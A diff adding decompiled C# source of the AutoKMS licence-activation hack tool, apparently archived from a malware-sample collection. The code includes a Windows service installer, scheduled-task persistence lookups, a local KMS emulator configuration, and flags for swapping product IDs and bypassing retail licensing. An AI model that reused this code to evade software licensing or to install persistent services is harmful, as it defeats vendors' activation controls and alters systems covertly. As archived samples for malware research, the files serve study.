+    <Compile Include="TaskSchedulerInterop\IEnumWorkItems.cs" />
+    <Compile Include="TaskSchedulerInterop\ITask.cs" />
+    <Compile Include="TaskSchedulerInterop\ITaskTrigger.cs" />
+    <Compile Include="TaskSchedulerInterop\IProvideTaskPage.cs" />
+    <Compile Include="TaskSchedulerInterop\CTaskScheduler.cs" />
+    <Compile Include="TaskSchedulerInterop\CTask.cs" />
+    <Compile Include="TaskSchedulerInterop\CoTaskMem.cs" />
+    <Compile Include="Office_2010_Toolkit\Result.cs" />
+    <Compile Include="Office_2010_Toolkit\Common.cs" />
+    <Compile Include="Office_2010_Toolkit\Configuration\SettingsIDObject.cs" />
+    <Compile Include="Office_2010_Toolkit\Configuration\GlobalSettingsObject.cs" />
+    <Compile Include="Office_2010_Toolkit\Configuration\AutoKMSSettingsObject.cs" />
+    <Compile Include="Office_2010_Toolkit\Configuration\AutoRearmSettingsObject.cs" />
+    <Compile Include="Office_2010_Toolkit\Configuration\EZActivatorSettingsObject.cs" />
+    <Compile Include="Office_2010_Toolkit\Configuration\PathsSettingsObject.cs" />
+    <Compile Include="Office_2010_Toolkit\Configuration\Settings.cs" />
+    <Compile Include="Office_2010_Toolkit\Configuration\IniFile.cs" />
+    <Compile Include="Office_2010_Toolkit\Logic\KMSEditor.cs" />
+    <Compile Include="Office_2010_Toolkit\Logic\Activation.cs" />
+    <Compile Include="TaskScheduler\TriggerList.cs" />
+    <Compile Include="TaskScheduler\TriggerType.cs" />
+    <Compile Include="TaskScheduler\DaysOfTheWeek.cs" />
+    <Compile Include="TaskScheduler\WhichWeek.cs" />
+    <Compile Include="TaskScheduler\MonthsOfTheYear.cs" />
+    <Compile Include="TaskScheduler\Trigger.cs" />
+    <Compile Include="TaskScheduler\StartableTrigger.cs" />
+    <Compile Include="TaskScheduler\RunOnceTrigger.cs" />
+    <Compile Include="TaskScheduler\DailyTrigger.cs" />
+    <Compile Include="TaskScheduler\WeeklyTrigger.cs" />
+    <Compile Include="TaskScheduler\MonthlyDOWTrigger.cs" />
+    <Compile Include="TaskScheduler\MonthlyTrigger.cs" />
+    <Compile Include="TaskScheduler\OnIdleTrigger.cs" />
+    <Compile Include="TaskScheduler\OnSystemStartTrigger.cs" />
+    <Compile Include="TaskScheduler\OnLogonTrigger.cs" />
+    <Compile Include="TaskScheduler\TaskFlags.cs" />
+    <Compile Include="TaskScheduler\TaskStatus.cs" />
+    <Compile Include="TaskScheduler\Task.cs" />
+    <Compile Include="TaskScheduler\Scheduler.cs" />
+    <Compile Include="TaskScheduler\TaskList.cs" />
+    <Compile Include="TaskScheduler\ScheduledTasks.cs" />
+    <Compile Include="AutoKMS\AutoKMSService.cs" />
+    <Compile Include="AutoKMS\AutoKMS.cs" />
+    <Compile Include="AutoKMS\Program.cs" />
+    <Compile Include="AutoKMS\Properties\Settings.cs" />
+    <Compile Include="AutoKMS\Properties\Resources.cs" />
+    <Compile Include="HybridService\ServiceInstaller.cs" />
+    <Compile Include="ProcessMemoryReaderLib\ProcessMemoryReaderApi.cs" />
+    <Compile Include="ProcessMemoryReaderLib\ProcessMemoryReader.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="AutoKMS\AutoKMSService.resx" />
+    <EmbeddedResource Include="AutoKMS\Properties\Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/HackTool.Win32.KMSAuto.i.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutoKMS", "HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.csproj", "{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/HybridService/ServiceInstaller.cs

@@ -0,0 +1,125 @@
+// Decompiled with JetBrains decompiler
+// Type: HybridService.ServiceInstaller
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+namespace HybridService
+{
+  public class ServiceInstaller
+  {
+    [DllImport("advapi32.dll")]
+    private static extern IntPtr OpenSCManager(
+      string lpMachineName,
+      string lpSCDB,
+      int scParameter);
+
+    [DllImport("Advapi32.dll")]
+    private static extern IntPtr CreateService(
+      IntPtr SC_HANDLE,
+      string lpSvcName,
+      string lpDisplayName,
+      int dwDesiredAccess,
+      int dwServiceType,
+      int dwStartType,
+      int dwErrorControl,
+      string lpPathName,
+      string lpLoadOrderGroup,
+      int lpdwTagId,
+      string lpDependencies,
+      string lpServiceStartName,
+      string lpPassword);
+
+    [DllImport("advapi32.dll")]
+    private static extern void CloseServiceHandle(IntPtr SCHANDLE);
+
+    [DllImport("advapi32.dll")]
+    private static extern int StartService(
+      IntPtr SVHANDLE,
+      int dwNumServiceArgs,
+      string lpServiceArgVectors);
+
+    [DllImport("advapi32.dll", SetLastError = true)]
+    private static extern IntPtr OpenService(
+      IntPtr SCHANDLE,
+      string lpSvcName,
+      int dwNumServiceArgs);
+
+    [DllImport("advapi32.dll")]
+    private static extern int DeleteService(IntPtr SVHANDLE);
+
+    [DllImport("kernel32.dll")]
+    private static extern int GetLastError();
+
+    [DllImport("Kernel32")]
+    private static extern bool CloseHandle(IntPtr handle);
+
+    public static bool InstallService(
+      string svcPath,
+      string svcName,
+      string svcDispName,
+      bool autoStart,
+      bool startNow)
+    {
+      int scParameter = 2;
+      int dwServiceType = 16;
+      int num1 = 3;
+      int dwErrorControl = 1;
+      int dwDesiredAccess = 983040 | 1 | 2 | 4 | 8 | 16 | 32 | 64 | 128 | 256;
+      int num2 = 2;
+      try
+      {
+        int dwStartType = num2;
+        if (!autoStart)
+          dwStartType = num1;
+        IntPtr num3 = ServiceInstaller.OpenSCManager((string) null, (string) null, scParameter);
+        if (num3.ToInt32() == 0)
+          return false;
+        IntPtr service = ServiceInstaller.CreateService(num3, svcName, svcDispName, dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl, svcPath, (string) null, 0, (string) null, (string) null, (string) null);
+        if (service.ToInt32() == 0)
+        {
+          ServiceInstaller.CloseServiceHandle(num3);
+          return false;
+        }
+        if (startNow)
+        {
+          if (ServiceInstaller.StartService(service, 0, (string) null) == 0)
+            return false;
+          ServiceInstaller.CloseServiceHandle(num3);
+          ServiceInstaller.CloseServiceHandle(service);
+          return true;
+        }
+        ServiceInstaller.CloseServiceHandle(num3);
+        ServiceInstaller.CloseServiceHandle(service);
+        return true;
+      }
+      catch (Exception ex)
+      {
+        throw ex;
+      }
+    }
+
+    public static bool UnInstallService(string svcName)
+    {
+      IntPtr SCHANDLE = ServiceInstaller.OpenSCManager((string) null, (string) null, 1073741824);
+      if (SCHANDLE.ToInt32() == 0)
+        return false;
+      int dwNumServiceArgs = 65536;
+      IntPtr num = ServiceInstaller.OpenService(SCHANDLE, svcName, dwNumServiceArgs);
+      if (num.ToInt32() == 0)
+        return false;
+      if (ServiceInstaller.DeleteService(num) != 0)
+      {
+        ServiceInstaller.CloseServiceHandle(SCHANDLE);
+        ServiceInstaller.CloseServiceHandle(num);
+        return true;
+      }
+      ServiceInstaller.CloseServiceHandle(SCHANDLE);
+      ServiceInstaller.CloseServiceHandle(num);
+      return false;
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/Office_2010_Toolkit/Configuration/AutoKMSSettingsObject.cs

@@ -0,0 +1,32 @@
+// Decompiled with JetBrains decompiler
+// Type: Office_2010_Toolkit.Configuration.AutoKMSSettingsObject
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace Office_2010_Toolkit.Configuration
+{
+  public class AutoKMSSettingsObject
+  {
+    public int ActAttempts;
+    public bool ActivateWindows;
+    public bool AutoRemoveKMSEmulator;
+    public bool AutoRemoveKMSHost;
+    public string KMSServer;
+    public bool Logging;
+    public bool UseKMSEmulator;
+    public string KMSPID;
+
+    public AutoKMSSettingsObject()
+    {
+      this.ActAttempts = 10;
+      this.ActivateWindows = false;
+      this.AutoRemoveKMSEmulator = false;
+      this.AutoRemoveKMSHost = false;
+      this.KMSServer = "127.0.0.1";
+      this.Logging = true;
+      this.UseKMSEmulator = true;
+      this.KMSPID = string.Empty;
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/Office_2010_Toolkit/Configuration/AutoRearmSettingsObject.cs

@@ -0,0 +1,20 @@
+// Decompiled with JetBrains decompiler
+// Type: Office_2010_Toolkit.Configuration.AutoRearmSettingsObject
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace Office_2010_Toolkit.Configuration
+{
+  public class AutoRearmSettingsObject
+  {
+    public bool Retail2VL;
+    public bool Logging;
+
+    public AutoRearmSettingsObject()
+    {
+      this.Retail2VL = true;
+      this.Logging = true;
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/Office_2010_Toolkit/Configuration/EZActivatorSettingsObject.cs

@@ -0,0 +1,40 @@
+// Decompiled with JetBrains decompiler
+// Type: Office_2010_Toolkit.Configuration.EZActivatorSettingsObject
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace Office_2010_Toolkit.Configuration
+{
+  public class EZActivatorSettingsObject
+  {
+    public int ActAttempts;
+    public int PIDAttempts;
+    public int CMIDAttempts;
+    public bool AutoLicRepairAll;
+    public bool AutoMakeRestoreBackup;
+    public bool ChangePID;
+    public bool ChangeCMID;
+    public bool InstallAutoKMS;
+    public bool MAK2KMS;
+    public bool RemoveRetailKeys;
+    public bool Retail2VL;
+    public bool StarterSub2Bypass;
+
+    public EZActivatorSettingsObject()
+    {
+      this.ActAttempts = 10;
+      this.PIDAttempts = 10;
+      this.CMIDAttempts = 10;
+      this.ChangePID = true;
+      this.ChangeCMID = true;
+      this.AutoLicRepairAll = true;
+      this.AutoMakeRestoreBackup = true;
+      this.InstallAutoKMS = true;
+      this.MAK2KMS = true;
+      this.RemoveRetailKeys = true;
+      this.Retail2VL = true;
+      this.StarterSub2Bypass = true;
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/Office_2010_Toolkit/Configuration/GlobalSettingsObject.cs

@@ -0,0 +1,30 @@
+// Decompiled with JetBrains decompiler
+// Type: Office_2010_Toolkit.Configuration.GlobalSettingsObject
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace Office_2010_Toolkit.Configuration
+{
+  public class GlobalSettingsObject
+  {
+    public bool AutoRemoveKMSEmulator;
+    public bool AutoRemoveKMSHost;
+    public string KMSServer;
+    public bool UseKMSEmulator;
+    public bool VerboseCheckActivation;
+    public bool ShowCMID;
+    public string KMSPID;
+
+    public GlobalSettingsObject()
+    {
+      this.AutoRemoveKMSEmulator = false;
+      this.AutoRemoveKMSHost = false;
+      this.KMSServer = "127.0.0.1";
+      this.UseKMSEmulator = true;
+      this.VerboseCheckActivation = false;
+      this.ShowCMID = false;
+      this.KMSPID = string.Empty;
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/Office_2010_Toolkit/Configuration/IniFile.cs

@@ -0,0 +1,43 @@
+// Decompiled with JetBrains decompiler
+// Type: Office_2010_Toolkit.Configuration.IniFile
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace Office_2010_Toolkit.Configuration
+{
+  public class IniFile
+  {
+    public string path;
+
+    [DllImport("kernel32")]
+    private static extern long WritePrivateProfileString(
+      string section,
+      string key,
+      string val,
+      string filePath);
+
+    [DllImport("kernel32")]
+    private static extern int GetPrivateProfileString(
+      string section,
+      string key,
+      string def,
+      StringBuilder retVal,
+      int size,
+      string filePath);
+
+    public IniFile(string INIPath) => this.path = INIPath;
+
+    public void IniWriteValue(string Section, string Key, string Value) => IniFile.WritePrivateProfileString(Section, Key, Value, this.path);
+
+    public string IniReadValue(string Section, string Key)
+    {
+      StringBuilder retVal = new StringBuilder((int) byte.MaxValue);
+      IniFile.GetPrivateProfileString(Section, Key, "", retVal, (int) byte.MaxValue, this.path);
+      return retVal.ToString();
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/Office_2010_Toolkit/Configuration/PathsSettingsObject.cs

@@ -0,0 +1,22 @@
+// Decompiled with JetBrains decompiler
+// Type: Office_2010_Toolkit.Configuration.PathsSettingsObject
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace Office_2010_Toolkit.Configuration
+{
+  public class PathsSettingsObject
+  {
+    public string AutoKMS;
+    public string AutoRearm;
+    public string KMSEmulator;
+
+    public PathsSettingsObject()
+    {
+      this.AutoKMS = Common.WINDIR + "\\AutoKMS";
+      this.AutoRearm = Common.WINDIR + "\\AutoRearm";
+      this.KMSEmulator = Common.WINDIR;
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/Office_2010_Toolkit/Configuration/Settings.cs

@@ -0,0 +1,413 @@
+// Decompiled with JetBrains decompiler
+// Type: Office_2010_Toolkit.Configuration.Settings
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using System.IO;
+using TaskScheduler;
+
+namespace Office_2010_Toolkit.Configuration
+{
+  public static class Settings
+  {
+    public static bool ReadOnlyFolder;
+    public static bool ReadOnlyFile;
+    public static bool INIExists;
+    public static SettingsIDObject SettingsID = new SettingsIDObject();
+    public static GlobalSettingsObject GlobalSettings = new GlobalSettingsObject();
+    public static AutoKMSSettingsObject AutoKMSSettings = new AutoKMSSettingsObject();
+    public static AutoRearmSettingsObject AutoRearmSettings = new AutoRearmSettingsObject();
+    public static EZActivatorSettingsObject EZActivatorSettings = new EZActivatorSettingsObject();
+    public static PathsSettingsObject PathsSettings = new PathsSettingsObject();
+
+    public static string GetAutoKMSPath()
+    {
+      string empty = string.Empty;
+      string autoKmsPath;
+      if (Common.IsAutoKMSInstalled())
+      {
+        ScheduledTasks scheduledTasks = new ScheduledTasks();
+        try
+        {
+          Task task = scheduledTasks.OpenTask("AutoKMS");
+          autoKmsPath = task.ApplicationName.Substring(0, task.ApplicationName.Length - 12);
+          task.Close();
+          scheduledTasks.Dispose();
+        }
+        catch (Exception ex)
+        {
+          Task task = scheduledTasks.OpenTask("AutoKMSCustom");
+          autoKmsPath = task.ApplicationName.Substring(0, task.ApplicationName.Length - 12);
+          task.Close();
+          scheduledTasks.Dispose();
+        }
+      }
+      else
+        autoKmsPath = Settings.PathsSettings.AutoKMS;
+      return autoKmsPath;
+    }
+
+    public static string GetAutoRearmPath()
+    {
+      string empty = string.Empty;
+      string autoRearmPath;
+      if (Common.IsAutoRearmInstalled())
+      {
+        ScheduledTasks scheduledTasks = new ScheduledTasks();
+        try
+        {
+          Task task = scheduledTasks.OpenTask("AutoRearm");
+          autoRearmPath = task.ApplicationName.Substring(0, task.ApplicationName.Length - 14);
+          task.Close();
+          scheduledTasks.Dispose();
+        }
+        catch (Exception ex)
+        {
+          Task task = scheduledTasks.OpenTask("AutoRearmCustom");
+          autoRearmPath = task.ApplicationName.Substring(0, task.ApplicationName.Length - 14);
+          task.Close();
+          scheduledTasks.Dispose();
+        }
+      }
+      else
+        autoRearmPath = Settings.PathsSettings.AutoRearm;
+      return autoRearmPath;
+    }
+
+    public static void GetSettings()
+    {
+      Settings.HandleReadOnly();
+      if (Settings.ReadOnlyFolder)
+      {
+        if (Settings.INIExists)
+        {
+          Settings.LoadINISettings();
+        }
+        else
+        {
+          Settings.SettingsID = new SettingsIDObject();
+          Settings.GlobalSettings = new GlobalSettingsObject();
+          Settings.AutoKMSSettings = new AutoKMSSettingsObject();
+          Settings.AutoRearmSettings = new AutoRearmSettingsObject();
+          Settings.EZActivatorSettings = new EZActivatorSettingsObject();
+          Settings.PathsSettings = new PathsSettingsObject();
+        }
+      }
+      else if (Settings.INIExists)
+        Settings.LoadINISettings();
+      else
+        Settings.MakeDefaultToolkitINIFile();
+    }
+
+    public static void GetSettingsAutoKMS()
+    {
+      if (!new FileInfo(Settings.GetAutoKMSPath() + "\\AutoKMS.ini").Exists)
+        Settings.MakeDefaultAutoKMSINIFile();
+      Settings.LoadINISettingsAutoKMS();
+    }
+
+    public static void GetSettingsAutoRearm()
+    {
+      if (!new FileInfo(Settings.GetAutoRearmPath() + "\\AutoRearm.ini").Exists)
+        Settings.MakeDefaultAutoRearmINIFile();
+      Settings.LoadINISettingsAutoRearm();
+    }
+
+    public static void MakeDefaultToolkitINIFile()
+    {
+      Settings.SettingsID = new SettingsIDObject();
+      Settings.GlobalSettings = new GlobalSettingsObject();
+      Settings.AutoKMSSettings = new AutoKMSSettingsObject();
+      Settings.AutoRearmSettings = new AutoRearmSettingsObject();
+      Settings.EZActivatorSettings = new EZActivatorSettingsObject();
+      Settings.PathsSettings = new PathsSettingsObject();
+      string str = Directory.GetCurrentDirectory() + "\\Settings.ini";
+      FileInfo fileInfo = new FileInfo(str);
+      if (fileInfo.Exists)
+        fileInfo.Delete();
+      IniFile iniFile = new IniFile(str);
+      iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
+      iniFile.IniWriteValue("Global", "AutoRemoveKMSEmulator", Settings.GlobalSettings.AutoRemoveKMSEmulator.ToString());
+      iniFile.IniWriteValue("Global", "AutoRemoveKMSHost", Settings.GlobalSettings.AutoRemoveKMSHost.ToString());
+      iniFile.IniWriteValue("Global", "KMSServer", Settings.GlobalSettings.KMSServer.ToString());
+      iniFile.IniWriteValue("Global", "UseKMSEmulator", Settings.GlobalSettings.UseKMSEmulator.ToString());
+      iniFile.IniWriteValue("Global", "VerboseCheckActivation", Settings.GlobalSettings.VerboseCheckActivation.ToString());
+      iniFile.IniWriteValue("Global", "ShowCMID", Settings.GlobalSettings.ShowCMID.ToString());
+      iniFile.IniWriteValue("Global", "KMSPID", Settings.GlobalSettings.KMSPID.ToString());
+      iniFile.IniWriteValue("AutoKMS", "ActAttempts", Settings.AutoKMSSettings.ActAttempts.ToString());
+      iniFile.IniWriteValue("AutoKMS", "ActivateWindows", Settings.AutoKMSSettings.ActivateWindows.ToString());
+      iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSEmulator", Settings.AutoKMSSettings.AutoRemoveKMSEmulator.ToString());
+      iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSHost", Settings.AutoKMSSettings.AutoRemoveKMSHost.ToString());
+      iniFile.IniWriteValue("AutoKMS", "KMSServer", Settings.AutoKMSSettings.KMSServer.ToString());
+      iniFile.IniWriteValue("AutoKMS", "Logging", Settings.AutoKMSSettings.Logging.ToString());
+      iniFile.IniWriteValue("AutoKMS", "UseKMSEmulator", Settings.AutoKMSSettings.UseKMSEmulator.ToString());
+      iniFile.IniWriteValue("AutoKMS", "KMSPID", Settings.AutoKMSSettings.KMSPID.ToString());
+      iniFile.IniWriteValue("AutoRearm", "Retail2VL", Settings.AutoRearmSettings.Retail2VL.ToString());
+      iniFile.IniWriteValue("AutoRearm", "Logging", Settings.AutoRearmSettings.Logging.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "ActAttempts", Settings.EZActivatorSettings.ActAttempts.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "PIDAttempts", Settings.EZActivatorSettings.PIDAttempts.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "CMIDAttempts", Settings.EZActivatorSettings.CMIDAttempts.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "AutoLicRepairAll", Settings.EZActivatorSettings.AutoLicRepairAll.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "AutoMakeRestoreBackup", Settings.EZActivatorSettings.AutoMakeRestoreBackup.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "ChangePID", Settings.EZActivatorSettings.ChangePID.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "ChangeCMID", Settings.EZActivatorSettings.ChangeCMID.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "InstallAutoKMS", Settings.EZActivatorSettings.InstallAutoKMS.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "MAK2KMS", Settings.EZActivatorSettings.MAK2KMS.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "RemoveRetailKeys", Settings.EZActivatorSettings.RemoveRetailKeys.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "Retail2VL", Settings.EZActivatorSettings.Retail2VL.ToString());
+      iniFile.IniWriteValue("EZ-Activator", "StarterSub2Bypass", Settings.EZActivatorSettings.StarterSub2Bypass.ToString());
+      iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
+      iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
+      iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
+    }
+
+    public static void MakeDefaultAutoKMSINIFile()
+    {
+      Settings.SettingsID = new SettingsIDObject();
+      Settings.AutoKMSSettings = new AutoKMSSettingsObject();
+      Settings.PathsSettings = new PathsSettingsObject();
+      string str = Settings.GetAutoKMSPath() + "\\AutoKMS.ini";
+      FileInfo fileInfo = new FileInfo(str);
+      if (fileInfo.Exists)
+        fileInfo.Delete();
+      IniFile iniFile = new IniFile(str);
+      iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
+      iniFile.IniWriteValue("AutoKMS", "ActAttempts", Settings.AutoKMSSettings.ActAttempts.ToString());
+      iniFile.IniWriteValue("AutoKMS", "ActivateWindows", Settings.AutoKMSSettings.ActivateWindows.ToString());
+      iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSEmulator", Settings.AutoKMSSettings.AutoRemoveKMSEmulator.ToString());
+      iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSHost", Settings.AutoKMSSettings.AutoRemoveKMSHost.ToString());
+      iniFile.IniWriteValue("AutoKMS", "KMSServer", Settings.AutoKMSSettings.KMSServer.ToString());
+      iniFile.IniWriteValue("AutoKMS", "Logging", Settings.AutoKMSSettings.Logging.ToString());
+      iniFile.IniWriteValue("AutoKMS", "UseKMSEmulator", Settings.AutoKMSSettings.UseKMSEmulator.ToString());
+      iniFile.IniWriteValue("AutoKMS", "KMSPID", Settings.AutoKMSSettings.KMSPID.ToString());
+      iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
+      iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
+      iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
+    }
+
+    public static void MakeDefaultAutoRearmINIFile()
+    {
+      Settings.SettingsID = new SettingsIDObject();
+      Settings.AutoRearmSettings = new AutoRearmSettingsObject();
+      Settings.PathsSettings = new PathsSettingsObject();
+      string str = Settings.GetAutoRearmPath() + "\\AutoRearm.ini";
+      FileInfo fileInfo = new FileInfo(str);
+      if (fileInfo.Exists)
+        fileInfo.Delete();
+      IniFile iniFile = new IniFile(str);
+      iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
+      iniFile.IniWriteValue("AutoRearm", "Retail2VL", Settings.AutoRearmSettings.Retail2VL.ToString());
+      iniFile.IniWriteValue("AutoRearm", "Logging", Settings.AutoRearmSettings.Logging.ToString());
+      iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
+      iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
+      iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
+    }
+
+    public static void MakeNewToolkitINIFile()
+    {
+      string str = Directory.GetCurrentDirectory() + "\\Settings.ini";
+      FileInfo fileInfo = new FileInfo(str);
+      if (fileInfo.Exists)
+        fileInfo.Delete();
+      IniFile iniFile = new IniFile(str);
+      iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
+      iniFile.IniWriteValue("Global", "AutoRemoveKMSEmulator", Settings.GlobalSettings.AutoRemoveKMSEmulator.ToString());
+      iniFile.IniWriteValue("Global", "AutoRemoveKMSHost", Settings.GlobalSettings.AutoRemoveKMSHost.ToString());
+      iniFile.IniWriteValue("Global", "KMSServer", Settings.GlobalSettings.KMSServer.ToString());
+      iniFile.IniWriteValue("Global", "UseKMSEmulator", Settings.GlobalSettings.UseKMSEmulator.ToString());
+      iniFile.IniWriteValue("Global", "VerboseCheckActivation", Settings.GlobalSettings.VerboseCheckActivation.ToString());
+      iniFile.IniWriteValue("Global", "ShowCMID", Settings.GlobalSettings.ShowCMID.ToString());
+      iniFile.IniWriteValue("Global", "KMSPID", Settings.GlobalSettings.KMSPID.ToString());
+      iniFile.IniWriteValue("AutoKMS", "ActAttempts", Settings.AutoKMSSettings.ActAttempts.ToString());
+      iniFile.IniWriteValue("AutoKMS", "ActivateWindows", Settings.AutoKMSSettings.ActivateWindows.ToString());
+      iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSEmulator", Settings.AutoKMSSettings.AutoRemoveKMSEmulator.ToString());
+      iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSHost", Settings.AutoKMSSettings.AutoRemoveKMSHost.ToString());
+      iniFile.IniWriteValue("AutoKMS", "KMSServer", Settings.AutoKMSSettings.KMSServer.ToString());
+      iniFile.IniWriteValue("AutoKMS", "Logging", Settings.AutoKMSSettings.Logging.ToString());
